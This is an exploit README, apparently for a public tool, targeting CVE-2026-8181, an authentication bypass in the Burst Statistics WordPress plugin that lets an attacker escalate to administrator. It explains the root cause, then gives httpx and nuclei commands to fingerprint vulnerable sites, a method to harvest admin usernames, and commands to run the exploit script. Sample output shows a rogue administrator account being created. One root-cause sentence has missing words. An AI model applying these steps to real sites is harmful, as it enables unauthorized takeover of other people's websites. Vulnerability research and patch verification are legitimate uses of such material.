CVE-2026-8181 exploit

Burst Statistics WordPress Plugin — Authentication Bypass to Administrator Privilege Escalation

Exploit for the CVE-2026-8181 discovered by Chloe Chamberland and PRISM.

⚠️ Disclaimer

This repository is provided for research and defensive security purposes only. The author assumes no responsibility for misuse of this information.

📌 Overview

The Burst Statistics – Privacy-Friendly WordPress Analytics plugin for WordPress is vulnerable to an Authentication Bypass leading to Administrator Privilege Escalation in versions 3.4.0 through 3.4.1.1.

The vulnerability exists in the is_mainwp_authenticated() method of the plugin's MainWP proxy, which incorrectly treats any non-WP_Error return value from wp_authenticate_application_password() as a successful authentication.

This allows unauthenticated attackers that know a valid administrator username to impersonate that administrator for the duration of any REST API request, including WordPress core endpoints such as POST /wp-json/wp/v2/users. The existing administrator's credentials are never compromised, but the attacker gains its privileges long enough to create a brand new administrator account.

🔬 Root Cause Analysis

The vulnerability chain is as follows:

1. includes/class-burst.php:41 -> The plugin registers init() on plugins_loaded priority 9, which runs bootstrap() and calls has_admin_access() for every request (REST included).

2. includes/Traits/trait-admin-helper.php:202 -> When the request carries the header X-BurstMainWP: 1, has_admin_access() instantiates MainWP_Proxy and delegates authentication to is_mainwp_authenticated().

3. includes/Frontend/class-mainwp-proxy.php:314 -> The method reads the Authorization header, decodes the Basic credentials and forwards the attacker-supplied / to WordPress core's .

A single HTTP request with a fake password is therefore sufficient to impersonate any administrator at the WordPress core REST API level.

🔎 Plugin installation detection

1. Active plugin — homepage HTML references its assets only when the plugin is enqueued:

   root@kitploit:~

   echo http://127.0.0.1:8000 | httpx -silent -mr '/wp-content/plugins/burst-statistics/'
   

2. Version — readme.txt is served statically and exposes the installed version (vulnerable: 3.4.0–3.4.1.1, patched: 3.4.2+):

   root@kitploit:~

   echo http://127.0.0.1:8000 | httpx -silent -path /wp-content/plugins/burst-statistics/readme.txt -er 'Stable tag:\s*[0-9][0-9a-zA-Z.\-]*'
   

The bundled CVE-2026-8181.yaml nuclei template automates both checks and version comparison:

nuclei -t CVE-2026-8181.yaml -u http://127.0.0.1:8000

🎯 Exploitation

Once a vulnerable version of the plugin has been detected, exploitation requires knowing a valid administrator username. WordPress's REST API leaks them on most installs through the public users endpoint:

echo http://127.0.0.1:8000 | httpx -silent -path '/wp-json/wp/v2/users' -er '"slug":"[^"]+"'

When that endpoint is locked down (e.g. by Disable REST API or Stop User Enumeration), the author archive trick (/?author=N) usually still leaks the username via the redirect to /author/<username>/.

With a valid username in hand the exploit creates a new administrator account in a single request:

0. Install python dependencies:

   root@kitploit:~

   python3 -m venv venv
   venv/bin/pip install -r requirements.txt
   

1. Run the exploit against the target, supplying a known administrator username with -u:

   root@kitploit:~

   venv/bin/python3 CVE-2026-8181.py -t http://127.0.0.1:8000 -u admin
   

   Output example:

   root@kitploit:~

   [2026-05-16] [12:20:20] [info] [config] Impersonating admin='admin', will create new admin 'pwn_322a4903' / 'kS8D^2A^P^%UtWyuUS3p8%64' ([email protected]).
   [2026-05-16] [12:20:21] [success] [http://127.0.0.1:8000] Authentication bypass successful — new administrator created: username='pwn_322a4903' password='kS8D^2A^P^%UtWyuUS3p8%64'
   

2. Log into /wp-admin/ with the newly created administrator account.

⚠️ Limitations

The bypass only fires if the Authorization header reaches PHP via $_SERVER['HTTP_AUTHORIZATION']. On Apache + mod_php with plain permalinks (WordPress's out-of-the-box default), no .htaccess is generated and the header is silently stripped — the exploit cannot succeed.

Switching to any non-plain permalink in Settings → Permalinks makes WordPress 5.6+ write the RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] directive into .htaccess, restoring forwarding. Nginx + PHP-FPM and LiteSpeed forward Authorization by default regardless of permalinks. Pretty permalinks being the SEO norm in production is why this vulnerability is rated CVSS 9.8 unauthenticated.

The exploit tries /wp-json/wp/v2/users first then falls back to /index.php?rest_route=/wp/v2/users so endpoint routing is never the blocker — only header forwarding is.

📚 References

• https://www.wordfence.com/blog/2026/05/200000-wordpress-sites-at-risk-from-critical-authentication-bypass-vulnerability-in-burst-statistics-plugin/
• https://www.wordfence.com/threat-intel/vulnerabilities/id/8ca830d6-3d3c-4026-85cd-8447b8a568d3
• https://www.cve.org/CVERecord?id=CVE-2026-8181